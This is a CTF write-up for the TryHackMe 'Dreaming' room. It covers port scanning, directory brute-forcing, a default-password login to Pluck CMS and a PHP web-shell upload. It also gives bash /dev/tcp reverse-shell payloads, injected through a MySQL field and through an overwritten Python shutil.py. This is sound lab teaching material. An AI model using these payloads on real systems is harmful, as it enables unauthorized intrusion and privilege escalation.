Description
https://tryhackme.com/room/dreaming
Solve the riddle that dreams have woven.
While the king of dreams was imprisoned, his home fell into ruins.
Can you help Sandman restore his kingdom?
Port scanning
-Pn forces a full TCP scan even when the host blocks ICMP ping – many hardened labs drop ping packets.
nmap -A -p- -T5 -Pn 10.81.188.191 Web Enumeration
The host answered on port 80 with a default Apache page.
Next, enumerate hidden directories:
# First generic brute‑force
feroxbuster -u http://10.81.188.191:80 -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
# Then a CMS‑specific wordlist (Pluck)
feroxbuster -u http://10.81.188.191/app/pluck-4.7.13/ \
-w /usr/share/wordlists/webapp-wordlists/Content-Management-System-(CMS)/pluck/pluck.txt Initial Access – Default Credentials
Visiting the discovered Pluck admin interface revealed a login page.
Password was password.
Exploiting Pluck CMS – Unrestricted File Upload
I found two CVE related to Pluck that I can use to get initial access:
| CVE‑2023‑25828 | Allows arbitrary file upload to album directories. |
| CVE‑2025‑46099 | Same issue, confirmed in newer Pluck releases. |
https://www.blackduck.com/blog/a-deep-dive-on-pluck-cms-vulnerability-cve-2023-25828.html
https://feedly.com/cve/CVE-2025-46099
Crafting the Web Shell
- Create an album called
test1via the admin UI. - Upload a benign image named
shell.php.jpg. - Intercept the POST request with Burp Suite.
- Modify the
filenameparameter back toshell.phpand send. - access uploaded file via http://10.81.188.191/app/pluck-4.7.13/data/settings/modules/albums/album1/shell.php
- The server validates only the file extension supplied by the client. By rewriting the header, we force the backend to store the file with a
.phpextension, which Apache executes as code.
Privilege escalation ⇾ lucien
Finding Hard‑Coded Secrets
Browsing /opt/test.py revealed hardcoded lucien password:
Sudo
Running sudo -l as lucien displayed:
There is python script in /opt and it reads from a MySQL database and prints each record using:
command = f"echo {dreamer} + {dream}" The dream field is interpolated directly into a shell command – we can try command injection.
Command Injection → Reverse Shell as death
We need to insert a command into the database and run a script to execute it as death user. But first, we need database credentials. Credentials are in .bash_history file of lucien user.
Insert to database:
mysql -u lucien -p use library;
INSERT INTO dreams (dreamer, dream) VALUES (
'pwn',
'$(/bin/bash -c "bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1")'
); Triggering execution
# start listener on your machine:
nc -nlvp 4444
# trigger execution of script as death user on target machine
sudo -u death python3 /home/death/getDreams.py Privilege escalation ⇾ morpheus
pspy64 showed a recurring process:
/usr/bin/python3.8 /home/morpheus/restore.py #Contents of restore.py:
from shutil import copy2 as backup
src_file = "/home/morpheus/kingdom"
dst_file = "/kingdom_backup/kingdom"
backup(src_file, dst_file)
print("The kingdom backup has been done!") Because shutil lives under /usr/lib/python3.8/shutil.py, a user with write access to that path can replace it:
echo "import os; os.system('bash -c \"bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1\"')" > /usr/lib/python3.8/shutil.py When restore.py imports shutil, our malicious version executes, granting a root reverse shell.